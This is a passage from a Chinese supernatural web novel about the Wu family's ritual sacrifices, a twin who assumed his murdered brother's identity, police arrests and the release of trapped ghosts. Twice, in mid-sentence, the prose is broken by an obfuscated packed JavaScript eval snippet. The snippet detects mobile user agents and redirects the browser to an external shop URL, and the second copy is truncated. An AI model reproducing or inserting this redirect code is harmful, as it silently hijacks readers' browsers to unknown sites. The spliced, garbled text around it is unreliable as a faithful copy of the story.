在一瞬的寂静之后,刚还探究小鬼像多比的吴昭戈转向吴天其,声音颤抖:“奶奶不是离家出走的吗?” “离家出走?哈哈哈哈,埋在你爷爷院子里,你每天都踩在你奶奶身上,小七。” “你闭嘴!” 吴天其朝吴天华扑了过去,两个六七十岁的老人扭打在一起,可动作幅度又不敢太大,生怕掉出去,就在这时,一人从后拨开人群,用力把扭打的两人推了出去。 两人摔在地上,难以置信回头, “吴天义!” “吴天成!” 吴天义喊出这个名字后,靠墙休息的拾冬瞬间睁开了眼。 吴天义悲痛盯着地上一脸老态,哑口无言的人,“装太久,都忘了自己是谁了吧。” “阵破了!” 外面的小鬼顺势而进。 * 吴昭宁腿软到跑不了,哭了几分钟发现不会有人来救自己后,抽抽搭搭挨着墙一点点挪过去。 光线太暗,她看不清是谁,于是忍着害怕靠近,终于看清躺在地上的人, “吴奶奶!” 吴昭宁吃力把吴妈拖到光线亮一点的地方,她探了探吴妈的鼻息,放了好几分钟才感觉到些许的喷气,吴妈双眼紧闭,无论吴昭宁怎么叫,她都没有回应。 就在她决定上楼打电话叫救护车时,吴妈醒了,嘴里念念有词,吴昭宁凑近只听到三个字: “救..救他..” “救谁?吴奶奶,你听得到我说话吗?” “救一一” 一一是谁? “我先叫人送你去医院。”吴昭宁来不及深思,眼下是把人救了,她正要起身回去拿手机打电话报警,不料被吴妈一把拽住裙角,老人不知哪来的力气,拽着她的裙角,往前爬。 “吴奶奶,你干什么啊?”吴昭宁怕摔倒,俯身拨开老人的手,面色有些不耐烦蹲下身,只见吴妈一行又一行的眼泪划过她满是老年斑,皱巴巴的脸,吴昭宁于心不忍,声音缓了几分,“奶奶,你到底有什么事?” 只见吴妈颤颤巍巍指了指不远处。 “你想要我过去?” 吴妈点头,眼里满是乞求。 吴昭宁还在犹豫,就听到不远处传来一声巨响,连带着脚底都震动起来。 “我这真是明知山有虎,偏向虎山行了。” 吴昭宁加快步伐往前方走去。 * “死丫头,不可以!” 孟永匍匐在地上,用手里的符咒抵御来自小鬼的攻击,而他的耳边是起伏不断的哀嚎声,这些小鬼正在吸食他们的阳气,很多人已经出现濒死幻觉。 “秀兰,放了我,秀兰,我也是一时失手,我真的不是故意的秀兰...” “天华,是哥对不起你,不要过来,不要过来..” 拾冬俯身用脚边的玻璃碎片划开手掌,血刚冒出,所有小鬼一律停下动作,齐刷刷望过来。 “你疯了!”孟永从地上爬起,刚想冲过来被小鬼抓住脚腕动弹不得。 吴昭戈拖着吴昭州缩在角落,紧紧盯着面前的女人,滴滴鲜血从手心坠落到地上,形成一个光圈,随着光圈不断扩大,小鬼也被逼着步步后退。 她在光圈中,如同救世的神女。 “师姐。”郁之冲过来捂住她渗血的手掌,血一消失,光圈也跟着消失,小鬼们又开始聚拢。 “不要停,不要停..”吴天成迫不及待朝拾冬爬过去。 “你别管,先把他们带出去,不然我们都会死。”拾冬说完看向不远处的吴昭戈,“把你哥赶紧带出去。” 吴昭戈望着她,一副没反应过来的模样,自动点头。 “原来不是谣言,你的血果然不一般。”谢白在祭坛上看到这一幕,眼里带着惋惜,“早知道昨晚就应该动手。有了你的血,我养多少小鬼都不嫌多。” “楼上密室机关开不了,我们怎么出去?”吴昭戈想起关键讯息。 “我知道,我带你们出去。”吴天其从地上爬起。 “我也知道,我们一起。” 吴天其狠狠瞪了一眼吴天成。 一群人聚到了楼梯口,面前是虎视眈眈不断靠近的小鬼,就在他们打算上楼时,身后楼梯传来巨响,楼梯中部竟然断了一大截,尘土飞扬中几个小鬼从毁坏的楼梯下四脚爬出,笑得诡异。 “做个交易吧,你们把她交给我,我放你们出去。”谢白指了指拾冬,看向人群中吴天成等人。 吴天成当然也想这么干,但他看了一眼女人旁边年轻力壮的大高个儿,他一个黄土快埋到头的老头,这不明摆着送死吗? 但这层的机关现在就在谢白手边,他们也靠近不了,早知就不该告诉谢白这王八蛋! 场面一度陷入僵局。 拾冬的血一旦没有,那些小鬼势必会冲过来,但是,血一直这么流也不是办法。 孟永掏出最后一张空白符,用拾冬的血画了张符,暂时止住小鬼的攻击。 “现在只剩一个办法,我和老头牵制住那些小鬼,你们派几个人去搞定谢白。” 拾冬刚说完,郁之立马接话:“我去。” 吴昭戈也不甘示弱:“我也去,我学过散打。” 一学期只去过三次课的吴昭戈在心里发誓,等出去后一定勤学苦练。 “我…我也去。”吴昭则弱弱跟着附和。 目前来说,他们确实是最好的人选。 谢白站在祭坛上,即使听不清他们在谋划什么,也多多少少能猜出大概。 他来回拨动着引血槽的栓塞,回想起刚刚那一幕,越想越惋惜,想把血瓮装满的心也越来越强烈。 谢白拿过供台上的铜钱剑,在空中挽了个花,直指拾冬:“你们不要白费力气了,不想被生吞活剥的话最好把人交过来。” “小瘪犊子,你试试,老子还能怕你!”孟永朝谢白轻蔑啐了一口。 所有人围在一起,一边盯着随时可能冲进来的小鬼,一边缓慢朝谢白移动。 谢白见状,淡然一笑,拔开葫芦,空中出现了三只比小鬼大两倍不止的鬼影,它们立在空中,大脚机械地一脚接一脚跺向他们的防护结界圈。 他们从楼梯边开始移动,离祭坛上的谢白还有一半多距离时孟永右腿一撤,扎了个马步,脸因为太过用力而面色通红,头顶刺耳的轰隆声越来越清晰,众人望着这摇摇欲坠的结界惶恐不安之时,吴天成偷偷潜到拾冬身后,这种局面,他再不倒戈,就要跟着他们一起死了。 想完,他用尽全力一把将她推了出去。 “谢白,快抓!” 一瞬间,所有鬼影全部朝拾冬冲了过去。 * 刘友他们在祠堂等了好一会儿见没人出来,于是带着大虎等人在村子里游荡,找找其他线索。经过一平房时,见门大敞, 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来自地心深处的震感传到在场所有人身上,他们都察觉到了异样,却不知道这力量来自哪里,生怕是谢白放的大招,屏息观察着四周。 “师姐。”郁之跑过去扶起拾冬,“你还好吗?” 拾冬囫囵点头,可心脏传来的不适感却不断加剧。 那是一种,类似困在笼子里的鸟不顾一切想冲破牢笼回到天空的急切痛感,她开始呼吸困难,双眼发黑,人也跟着站不稳,最后整个人失去意识,晕了过去。 “刘友,把那瘪犊子弄了!” 周围充斥着各种嘈杂嘶吼声,郁之将人抱进怀里,手轻轻抚过她的快要齐肩的头发,不发一言。 谢白见大势已去,葫芦一收,趁乱打开密室门离开,临走前还破坏了出去的机关。 没了恶鬼攻击,在场人或坐或躺,望着这一室凌乱,唯有呼吸喘气的本能,。 “现在怎么办,我们出不去了。”庆幸捡回一条命的吴天其问,但没有得到在场人的回复,他便不再自讨没趣,索性躺在地上呼呼喘气。 “小冬有没有事?”刘友见拾冬昏迷不醒的模样,十分担心。 “应该不要紧。”孟永回想起刚刚那一幕,不安的情绪一直挥之不去,但眼下最要紧的是出去,于是他对刘友说,“你看看能不能把我们弄出去。” “那外面有个姑娘,应该是在找机关进来,我去帮她找找。”大虎说完就要过去,没想到靠近祭坛斜对角的墙壁正缓缓打开,外面站着的是终于通关成功的吴昭宁。 吴昭宁紧紧贴着墙边呼吸都不敢过大,生怕门后会像电视剧里演的那样射出毒箭。 等门终于开了,她试探性往里看去,一眼就看到了灰头土脸的吴昭戈,往旁边一看,还有二爷爷,大伯等人,再一看,怎么郁之也在,他怀里的不是宿管吗? 学校里的传闻果然是真的。 “小七,你没事吧?”吴昭宁放下八卦的心,迈着小碎步跑进密室,刚一走近才发现吴昭戈旁边躺着的人竟然是她找了好几天的哥哥,“哥怎么也在这?发生什么事了?” 门一开,孟永等人招呼也不打,带着拾冬率先离开。 “等之后再跟你说吧。”吴昭戈疲惫摇了摇头,说话声有气无力,望着郁之他们离开的背影,“不过谢谢你。” 谢我什么? 吴昭宁不明所以。 剩下几人怕谢白再回来,休息了一会儿也打起精神往外走去。 吴天义自顾自往外走,吴天成由儿子扶着,吴天其旁边跟着吴昭则,剩下的吴昭戈和吴昭宁一人一边,架着昏迷不醒的吴昭州往外走。 “要不还是我来背吧。” 吴昭宁个子小,穿着旗袍下摆活动又受限,架着吴昭州整个人东倒西歪,十分吃力,吴昭州干脆提议自己来。 只见吴昭宁思考几秒后停下步子,放下吴昭州的手臂,就在吴昭戈准备半蹲下让吴昭宁把人放自己背上时,却见她抬手一个个解开旗袍盘扣,脸上带着某种他看不懂决心,一把脱下了身上旗袍。 “姐..你这是...”吴昭戈目瞪口呆望着仅穿一件打底背心和安全裤的吴昭宁,意识到什么,几秒后迅速移开了眼。 他姐可是家里公认的名门淑女。 家里只要出了新品,吴靖柔都会挑好看的给她留一套,她的旗袍多到学校的人一提起自己,第一印象就是旗袍小美女。 “大家闺秀名不虚传啊。”同学这么调侃过自己。 每次见到家里长辈,都会被夸,“宁宁穿旗袍就是好看,女孩子就该是这样,文静,端庄,不过你太瘦了,吃胖一点,穿旗袍才更好看哟。” 吴昭宁每次都是淡淡笑着不说话,被动坐实了他们给自己的标签。 其实吴昭宁真的很不喜欢下摆受控,迈不开步子的设计。 “这旗袍,我早就穿腻了。” 吴昭宁手一松,那件淡黄手工刺绣旗袍掉在地上,拢成一团,料子上乘的旗袍,即使在昏暗灯光下也泛着丝滑的光。 她想起在工厂看过蚕吐丝把自己包裹起来的全过程,那一个个结好的茧堆在一起,明亮得如同现在。 “走吧。” 吴昭宁大步朝前迈去。 42. 第 42 章 拾冬一睁眼,被头顶的灯光刺得习惯性抬手挡,发现受伤的手掌已经绑上了纱布。 一扭头看到伏在床边的郁之,还有不远处睡在沙发上微微打鼾的孟永,她默默看了会儿,刚起身,郁之就醒了。 “师姐你醒了。”郁之手自然贴在她额头,“刚刚你有点发烧,现在好像降下来了。” 人刚醒,脑子还没反应过来,呆呆的模样完全没有平时的凌厉,静静望着自己。 郁之感觉机会难得,邀起功来,“师姐,刚刚可是我不顾危险,第一个上前来救你的,你的手也是我处理的,快夸我..” “你好...” 郁之神情一顿。 “厉害。” 郁之没想到这么轻易就得到了夸赞,“难得师姐夸我一句,还挺不习惯的。” 拾冬反应过来有些难为情,脸上又浮现出熟悉的嫌弃,“现在几点了。” “四点多了,我们出来的时候快零点了,我跟你说,刚刚村子里来了好多警察,不知道在干嘛。”郁之怕吵醒孟永,声音压得很低。 拾冬兴致不高地听着,心脏位置还是有些不适,凌晨四点的风吹进来,有一股属于山村特有的,清新好闻的味道,催人入眠。 “你去睡吧,我还有些累。” “好。” 郁之犹豫要不要把打鼾的孟永叫醒,被拾冬制止,“让他睡吧。” 小时候孟永的鼾声打得她在隔壁屋都能被吵醒,现在竟然这般小了。 “郁之..” 郁之开门正要出去时被拾冬叫住,她叫完自己名字后没有立马出声,于是他耐心等着,看她背对着自己,盖在身上的毯子如被和缓的风吹起又落下, “谢谢你。” 她说。 “是我该谢谢师姐保护我们。” 郁之关了灯,黑暗中听到拾冬说:“那你的酬劳要记得多给我一点。” 郁之没忍住笑出了声,“全都给你。” 拾冬心满意足闭上眼。 * 公鸡不知道昨晚发生了什么,每天照例仰着头,声音嘹亮打鸣,早早起来的村民们聚集在村口,人数比平时都要多。 “昨晚来了好多警察还有救护车,吓死我了。” “是啊,诶,听说把吴家老二和老七带走了。” “你们知道不知道,祠堂有密室!我在村里待一辈子了,竟然不知道祠堂有密室。” “你这么一说我想起来了,我有次经过吴老二家,明明看到吴老二进了家门,没想到我这刚走到祠堂门口,就看到吴老二出来了,我当时还以为大白天见鬼了。” “哼,你们是不知道,吴妈不是去走亲戚了,她家也有个密室!昨晚被发现死在密室,救护车过来拉走了。” “死了?!” “...这我也不知道。” “我再告诉你们个大新闻,密室里有个孩子!” “谁的孩子,哪来的孩子,我滴个乖乖,这一晚上怎么跟换了天一样。” “不知道,那孩子也警察带走了,昨晚我去看了,那孩子白得跟个鬼一样。” 一群上了年纪的村口情报局的成员,正不亦乐乎谈论着不知从哪听来的小道消息,远远看到吴天义后,战术性咳了咳嗓子,待人走近,面露不自然的笑意朝人打招呼, “三爷,今天这么早就起来了啊。吃了没?” 吴天义点头,目不斜视在他们的注目下朝前走去。 贾苍一大早拎着豆浆油条,馒头花卷过来找孟永了解情况,昨晚吴家人被带走的事他也听说了,不过具体细节还得再捋捋。 “师兄,你就告诉我啊,我们同一师门的,我还能到处乱说吗?”贾苍大口吃着包子,一边含糊不清地说。 孟永嫌弃移开碗,生怕贾苍把口水喷里头。一抬眼,看到郁之刚剥好一个茶叶蛋,动作自然拿碗去接,没料到那小子直接放到了拾冬面前的小碟子里,还贴心说“小心烫。” 孟永:地铁老人手机 “贾苍..” “在呢。”贾苍应得极快,耳朵竖起来,生怕错过大新闻。 “我记得师傅跟我们说过,同门之间不准搞对象吧。” 贾苍:? “同门都是男的,搞什么对象,你别岔开话题,赶紧跟我说说昨晚到底发生了什么。” “你说得对,男女都不可以。”孟永已读乱回。 一天多没进食,埋头苦吃的拾冬头也不抬把面前的茶叶蛋推给孟永,郁之见状,勤勤恳恳又磕开一个鸡蛋。 孟永吃着鸡蛋两眼一黑。 这边在岁月静好吃饭,吴家人已经乱成了一锅粥。 吴天其从密室出来没多久,警察像早就等着了,上门就说有人报警称他院子里有尸体。 吴天其百般阻挠,一会儿说没有,一会儿威胁警察说他和警察厅厅长认识,心虚的模样更加引起警察怀疑,结果一挖,果真在后院挖出了埋了十几年的王秀兰的尸体。 吴天其一看事情败露,联想到知道这事的除了自己就是吴天成,紧接着想起刚在密室,他要害自己的模样,内心笃定就是他报的警,于是抖露出他在密室囚禁孙子,害死吴妈的事。 两人当晚就被警察带走了,吴靖贤几次去警察局想探望都不被许可。同时记者也像是早就准备好了一般,新闻层出不穷占据热榜, ——百年老字号吴氏劲爆丑闻,吴家家主囚禁孙子养蛊 ——吴老七暴打妻子不成索性埋了种花 ——春蚕到死丝方尽,地上祖宗地下孙 这事一出,计划端午过后推出的新品不得不推迟上市,公司内部也有不少员工嗅到公司会裁员的苗头,趁乱在公司闹事,带头要求如果裁员必须N+1赔偿。 短短一天时间,舆论发酵得如此之快,吴天华是吴家主心骨,这一进去,让吴家所有人都措手不及。而在爸爸羽翼下待了大半辈子的吴靖贤,根本没有处理这种突发事件的能力,全得依仗生着病被拉出来临时主持大局的吴天武。 吴家小辈不懂公司的事,这会儿全聚集在医院。 医生说吴昭州体内有大量□□二乙酰胺,通俗来说这是让人致幻的成分,这类成分会被身体极快吸收,洗胃无效,目前只能先打镇静剂,采取留院观察的保守治疗。 单人病房,三人坐在沙发上沉默着,吴昭则看了看旁边和自己隔开坐的吴昭戈和吴昭宁,手在手机屏幕上点来点去,把所有APP都点了一遍后,他深吸口气,终于开口:“我知道你们看不起我,讨厌我。” 吴昭宁想解释,被吴昭戈制止了。 “我知道我没出息。” 从小到大爷爷对自己的最多评价就是没出息。 考试没考第一,没出息,在外面多玩了一会儿,没出息,对过往设计,哪个季度哪套主题风格回答的慢了点,没出息。 没出息三个字起初是一个石块,可石块一多便累积成了大山,压在身上寸步难行。 他瞻前顾后,越来越害怕出错,渐渐的,吴昭则成为了一个一听到没出息就自动应激的傀儡。 “你早就知道祠堂有密室对吧?” 是的。 吴昭则如鲠在喉,僵着脖颈不敢点头,被喉咙压抑的情绪来到眼眶寻求出口。 他早就知道祠堂有密室,也知道密室有个孩子。 不,那不是孩子,那是自己亲哥哥。 他只见过一次,明明年龄比自己大,却那么瘦,那么小。 四目相对的时候,他眼里的畏惧和不安,促使自己仓皇别开了眼。 “爸,为什么把他关起来。”吴昭则偷偷问过爸爸。 “你别管那么多,这件事不准跟任何人说,一切听你爷爷安排就行了。” 又是听爷爷安排。 吴昭则经常不知道自己是谁,也不知道自己存在的意义。 他想起第一次看《楚门的世界》时,在看到楚门跳入他从小害怕的海里,奋力逃生的场景时,他的眼泪不自觉流了满脸。 “怎么哭了?” 吴昭则抬头,看到了吴昭州。 哥哥。 从记事以来,哥哥一直是自己的救星。 哥哥会在被他被爷爷骂时,主动过来分担爷爷的怒火。相比于自己,爷爷骂哥哥的话更难听,可只要哥哥挨骂了,他就有机会逃开让他窒息的现场,每次他都趁哥哥挨骂时,偷偷跑开。 哥哥经常会被爷爷罚跪,理由是没管好弟弟,一跪最少是一小时,有时晚饭也不让吃。 吴昭则会在晚上偷偷从冰箱偷吃的送到哥哥房间,再愧疚道歉。 “对不起哥,我是不是很没出息。” “昭则,听说这次运动会你长跑第一名,很厉害嘛。” “对,哥你怎么知道,我比第二名快了快两分钟...我跟你说,为了这个比赛,我天天跑..” 哥哥总是这样,他不会说“你不是没出息的人”也不会说“你很棒”这样子的话,而是具体地夸自己擅长的地方,毫不吝啬给予肯定,吴昭则每次都能从哥哥身上得到信心。 而哥哥时不时淤青的膝盖,躲在房里偷偷哭的脆弱背影,自己和妈妈在沙发上聊天时,他望向妈妈渴望关爱的眼神。 这些,他都刻意忽视了。 他一边享受哥哥带给自己的好,一边又不愿把自己拥有的分享出去。 就如同,他知道密室里关着他的亲哥哥,心里却下意识地撇清关系, 这和我有什么关系,我又不能忤逆爷爷,爷爷这么做总有他的道理。 吴昭则,你太想摆脱没出息这三个字,你太想得到爷爷的认可,以至于在追逐认可的路上,忘了自己是个人。 “你知道祠堂有密室,也知道哥就在密室里,哥对你那么好,你竟然什么都不说,还瞒着我们。” 吴昭则的眼泪夺眶而出。 “对不起,真的..对不起..” 医院的另一边,吴妈经抢救无效死亡,而那个通体雪白的孩子安眠药效一过,醒了。 “长期营养不良,骨密度,肌肉量都低于正常水准, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782638|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语言能力缺失,听不懂普通话,只能用方言进行简单对话,发育迟缓,害怕生人,恐惧外界,智力严重滞后。” 安逸两指拎着医院出示的报告,隔着墨镜潦草扫了几眼便随手扔在医院长椅上,她透过病房往里看病床上的人,听医生说他害怕光,于是病房里拉着窗帘,但即使拉着窗帘,他还是白得发光。 像个鬼。 安逸心里没什么感觉,一个生下来就没养育过的孩子,和陌生人没什么两样。 要不是警察打电话勒令她来,这会儿她还在家没起床。 不知道能不能送去孤儿院。 安逸紧了紧口罩,在心里这么想。 病房里背对着她的孩子蜷缩在病床上,麻木呢喃出, “奶奶,一一,饿。” * 吴天成看上去更老了。 吴天义隔着玻璃隔板,端详着戴着手铐的吴天成,他什么都不说,就这么看着,直到吴天成忍受不了这样审判的视线, “是不是你报的警?” 吴天义不说话。 “为什么老三?我也是你哥,你就这么恨我要置我于死地吗?” 吴家是建丰当地的龙头企业,吴天成坚信自己很快就会被放出去,可一直到现在没一个人搭理自己。 “二哥也是你亲弟弟。” 吴天成低下头没有回答。 时代在进步,文化在进步,这传了几百年的邪术到吴天成这一辈时,已经快传不下去了。 得知家里有个这个不成文规定时,吴天成整个人是抗拒和茫然的,当时改革刚开放,他跟着爸妈学了不少做生意的本领,并立志要把吴氏的生意做大,让每个人穿的都是他们家设计的衣服。 当时老六还在肚子里,于是兄弟五个决定祭祀当天集体反抗。 “大哥,你放心,我们一定会救你。”当时刚学医归来,马上要去他们当地医院就职的吴天华一脸愤慨,“这不符合科学的糟粕,我们一定要铲除。” 吴天成望着和自己长得一模一样的弟弟,心绪复杂。 吴天华从小就有一颗仁爱之心。 经常从外面捡一些受伤的猫猫狗狗回来,照着不知哪淘来的医书给它们喂药包扎,家里以前养了只大黄狗,就是吴天华救下的,大黄和他最亲,一人一狗经常黏在一起。 家里的迂腐长辈当然也看出了他们的不愿意,于是暗中商量给吴天成迷晕后再祭祀。 “要不..算了吧。” 吴天成的爸有些不忍,弱弱提议,没想到被爷爷打了一耳光。 “老祖宗传下来的规矩你说算了就算了吗?你想想我们吴家经历了多少风风雨雨,要不是祖宗们保佑,吴家能有今天这地位吗?如果不祭祀,马上吴家就得完蛋你信不信?” 吴天成在墙角偷听,想起偷看过的吴家志,每次吴家危机的化解都是在祭祀之后。 难道真的是祖宗保佑吗? 如果无人献祭,吴家真的垮了,他想借着吴家大展拳脚的愿望不就扑空了。 就那么一瞬,吴天成想起了和自己长得一模一样,出生时间也相差无几的双胞胎弟弟吴天华,一个可怕的想法不受控制地冒了出来。 “我也是一时糊涂,我也后悔啊!” 吴天成老泪纵横。 他在献祭前一晚谎称害怕要吴天华来自己房里一起睡,吴天华没有防备地来了。趁他睡着,他便偷偷去了吴天华房间。 说不定家里人会改变主意,说不定第二天我回去天华还在房里。 吴天成忐忑不安了一晚,第二天天一亮他便急匆匆跑向自己房间,房门大敞着,床边只剩一双鞋,天华早已不见。 吴天成从此变成了吴天华。 “老三,你以为这辈子我就好过吗?是谁撑起这个家的?你们不懂家里生意,是谁在店快要开不下去的时候到处求人,我到处给人装孙子装儿子,陪他们喝酒喝到胃穿孔,那个时候你们在哪?!” 爸妈死后,底下的弟弟妹妹要上学,工厂要开销,吴天成一个人挑起了吴家的重担。 “我是大哥,我有义务照顾你们,我拼了命让你们有学上,有饭吃!你不结婚不生子,在村里干闲活,你的挖掘机,收割机,谁给你买的?要不是老五时不时的接济,你靠打零工那点钱活得下去吗?! 我让吴家这些小辈衣食无忧,在自家公司终于不用再看别人脸色过日子,让他们的孩子过得比别人家的孩子好千百倍! 这些都是我装孙子装儿子换来的! 我告诉你老三,我吴天成这辈子除了天华,谁都对得起!” 吴天成嘶吼着,戴手铐的手不断敲击桌子,目眦欲裂怒视着吴天义,眼泪零乱散在桌面上,过了几秒,又忽然卸了力,整个人扑在桌上,肩膀剧烈抖了起来。 他这一辈子太累,太苦,太煎熬了。 “如果当初死的是我,你们是不是也会像念着老二一样念起我的好。” 吴天义泪眼朦胧狼狈低下了头。 这一切是谁的错,到底是谁的错啊! 43. 第 43 章 吴家的事过去两三天了,刘友等鬼已经走了,而拾冬他们还在吴村,理由是他们也是吴家密室一案当事人,暂时不能离开。 孟永自己开店,郁之大四基本没课,苦命的是拾冬这个打工人,请假可是要扣工资的。 拾冬为此怨念满满。 孟永见拾冬愁得饭都吃不下,于是提出等事情结束给她误工费,拾冬当下胃口就变好了。 穷鬼投胎。 孟永没好气地想。 明天他们就能回去了,今晚他们要去做最后一件事,三人来到了祠堂门口。 祠堂内灯火通明。 吴家私自建地下室属于违法建筑,现在政府勒令拆除,今晚是拆地下室的日子。 拾冬等人一到拜殿,就看到了一辆黄色的挖掘机显目停在中央,吴天义坐在里面。不知是打通了什么关系,被关押的吴天成和吴天其也在,旁边跟着两个警察。 殿内围了不少人,吴家人,村里人都有,贾苍也在,大家低声交头接耳,嗡嗡成一团。 “师兄,我这边都准备好了。”贾苍扬了扬手里鼓鼓囊囊的包袱。 孟永点头,转向拾冬,“这真有用?” “做了才知道。” 事情发生的第二天,吴天义来了,拿着一张卡,问能不能让他见一见吴天华。看他模样诚恳,又想起在密室时,他三番五次帮忙,于是拾冬告诉他,自己见过吴天华。 “他们被封印在你家密室,一直无法投胎。” 吴天义抖着嘴唇,浑浊的双眼浸满了泪,问:“怎么才可以让他安息。” “如果有他们的骨灰,我们可以试一试。” 吴天义为此去找了吴天成,得知地下室的壁画中有历代献祭者的骨灰。 今天拆除违法建筑事小,主要是超度那些被困了一辈子的亡灵。 吴天义坐在车里,在看到孟永示意的手势后,拉开手刹,笨重的挖掘机缓缓朝后室驶去。 “真的拆了吗?”吴天其望着逐渐远去的挖掘机怅然若失发问。 吴天成这几天在牢里想了很多,此时他双目平和,听着挖掘机的轰隆声,看着逐渐远去的老三,无限感慨, “拆吧。” 和吴天成见面回去的路上,吴天义一直在想,这到底是谁的错,是吴天成的错,还是听信迷信的父母的错,后来,他想通了,他们都没有错,错的是他们的祖先。 若不是那些盲听盲信盲从的祖先,二哥不会死,他们也不会变成如今这样。 吴天义深深看着面前吴氏供堂的牌匾,操纵着方向杆,挖掘机的铲斗高高扬起没有丝毫犹豫斩了下去。 你们这群杀人犯,有什么资格受我们的香火! 你们有什么资格! 众人在轰隆声中,看着挖掘机重重碾过断成两段牌匾,内心五味杂陈。 牌匾断了,佛龛倒了,挂在柱上的楹联,香案上的蜡烛,满是香灰的香炉也逐一被落下的石块覆盖。 尘土飞扬中,佛龛后面的隐门被挖掘机凿开。挖掘机的加长前臂不断朝下深入,终于,密室的壁画逐渐在一片废墟中显现出来。 “贾苍,布阵。” 贾苍点头,和手下弟子打开包袱,围着破败不堪的供堂四角开始布阵,围观的人不远不近站着,看废墟中出现四条像警戒线一样,画着符的黄布条,上面挂满了符箓,风吹过时,还能听见清脆铃声。 吴天义坐在车里,挖掘机前臂高高举起,遮住他向前看的视线,他稍许移开,再抬头,眼前是一轮弯月。 他望着天空,呢喃起小时常唱的童谣: “青豆荚,弯月亮, 里头睡着五颗豆, 大哥挤,二哥让, 三弟翻身压破床。 风一吹,噼啪响, 各自落进四方土, 梦里还念旧时光。”① 梦里还念旧时光。 “吴天义,凿!” 挖掘机铲斗狠狠砸向壁画。 * 沈静春和小喜在院子里百无聊赖玩球,玩累了抬头看了眼头顶的日头,也分不出现在是何时辰,反正在这里,没有白天黑夜,就这么困着,日复一日。 自从出了上次那事,吴永昌设了道结界,他们现在除了自己房间和这个院子哪也去不了。 也不知道那姑娘能不能想到别的法子。 不过这么久了,怕是早忘了吧。 沈静春有些失望但又很快看开,她低头掸了掸身上的灰,心想这衣服穿两天了,等会儿回去换了。 就在这时,她感觉自己晃了一下,“小喜,别推我。” “我没有。” 她又晃了一下,同时周身起了一圈淡淡的光,她还没来得及反应,整个人竟然飘了起来,往后一看,小喜和五泉也一样。 “这...” “有人在超度我们!”从房间浮出来的吴国兴脸上洋溢着兴奋。 “我不去..不!”一半身子已经悬空的吴永昌死死抱着柱子垂死挣扎。 “大黄,我们可以走了。”吴天华蹲下身摸了摸一直陪在自己左右的大黄,大黄听不懂,但能感觉到主人的兴奋,摇着尾巴汪汪叫起来。 要解脱了吗? 沈静春望着底下越来越远的院子,突然一声尖叫吓坏旁人,她手忙脚乱拍着身上沾灰的浅蓝色裙子,“我还没换衣服呢,我都想好了走的时候要穿哪套衣服,这可怎么办啊,能不能先放我下去换身衣裳!” 众人不约而同笑了起来。 吴天义从挖掘机上下来,用视线在废墟中到处找寻,他喉咙发紧,不住地吞咽,可嘴里太干,无法缓解,最后忍不住干咳了起来。 就在这时,他看到废墟中飞出一只萤火虫。 不..不是萤火虫。 “哥!” 吴天义是吴天华带大的,两人相差5岁,吴天成从小就有强烈的好学心,喜欢跟着爸妈到处转,吴天华性子静,爱看书,父母一出门,就把吴天义放摇篮里让吴天华看着。 吴天华坐在吴天义旁边,给他念书,逗他开心,拉了洗尿布,饿了喂米糕,困了哄睡,照顾得比父母都细心。 吴天义是吴天华一口菜一口饭喂大的,他学会的第一句话不是爸爸妈妈,而是哥哥。 后来老四老五出生,那个年代孩子一多,父母总是顾不过来,吴天义对家里的纺织工厂没有兴趣,时不时跑田里帮别人干活,他喜欢赤脚踩进湿滑土里的泥泞感,喜欢蚂蚁爬过脚腕时活泼生动的瘙痒,喜欢风里麦子的香气,以及劳作一天后,满是泥土的脚捅进水田小河里的沁凉,他喜欢自然的一切。 当时家里算是当地有些名望的人家,吴天义常被父母说,好好的少爷不当,要去做苦力,没出息。 吴天义才不在乎,没出息就没出息,他要做自己喜欢的事。 不过话讲多了,心里难免也会不舒服,每次他被骂不开心偷偷躲起来时,来找自己的永远是吴天华,顺便端来一碗热腾腾的饭菜。 “哥,你以后想做什么?”吴天义嘴里塞满一大口饭,嘟嘟囔囔地问。 “医生,村里的老郎中上次说了,我是学医的料,我想治病救人。”吴天华坐在田埂上,听着不远处水牛的哞哞声,望向不远处火烧过一般的云。 “你真厉害,你肯定能成。”吴天义咽下嘴里的饭,面上带着些许不好意思,问,“哥,我没有你那么大的抱负,我就想在家种地,是不是真的像爸妈说的没出息?” “当然不是,毛主席说,农民是革命先锋,当农民有什么不好,我们吃的粮食,吃的菜,哪样不是农民种的,老五,你真有出息。” 吴天义含着饭和二哥一起笑了。 “哥,我是天义,哥!” 吴天义在阵外看着接连不断涌出来的萤火虫,不断呼喊着,而身后的吴天成等人,也慢慢地走了过来,终于一点光亮飞来,在他们几兄弟面前停下。 “二哥..” “哥..” “天华..” 吴天华在阵内看着自己的手足们,再也忍不住,潸然泪下。 他从没想过还有再见到他们的一天。他每天都在想,大哥让吴家变更好了吗,天义还喜欢种地吗,天文天武是不是还那么爱打架,老六应该出生了。 可如今真到了这个时刻,吴天华却一个都认不出,他的兄弟怎么都这么老了。 “天华,大哥对不起你,天华,对不起,对不起..”吴天成老泪纵横,手足无措伸向空中那点光亮,嘴里除了对不起似乎再也说不出别的,“哥不求你原谅,我该死,天华..我就要死了,等我死了下去给你赔罪,对不起,天华!” “哥,我是天义,我现在在村里开机器给人收稻子,看到了吗?那是我开的车,气不气派,哥我真的做到了。哥,你别那么快走,我有好多话想告诉你,不要走..”吴天义企图想抓住往下飞的萤火虫。 “二哥,我是天武。”相比于前两个哭出鼻涕眼泪的两人,吴天武克制多了,他擦了擦眼,“二哥,你放心吧,吴家很好,我们也很好,你是不是想问天文去哪了,天文后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 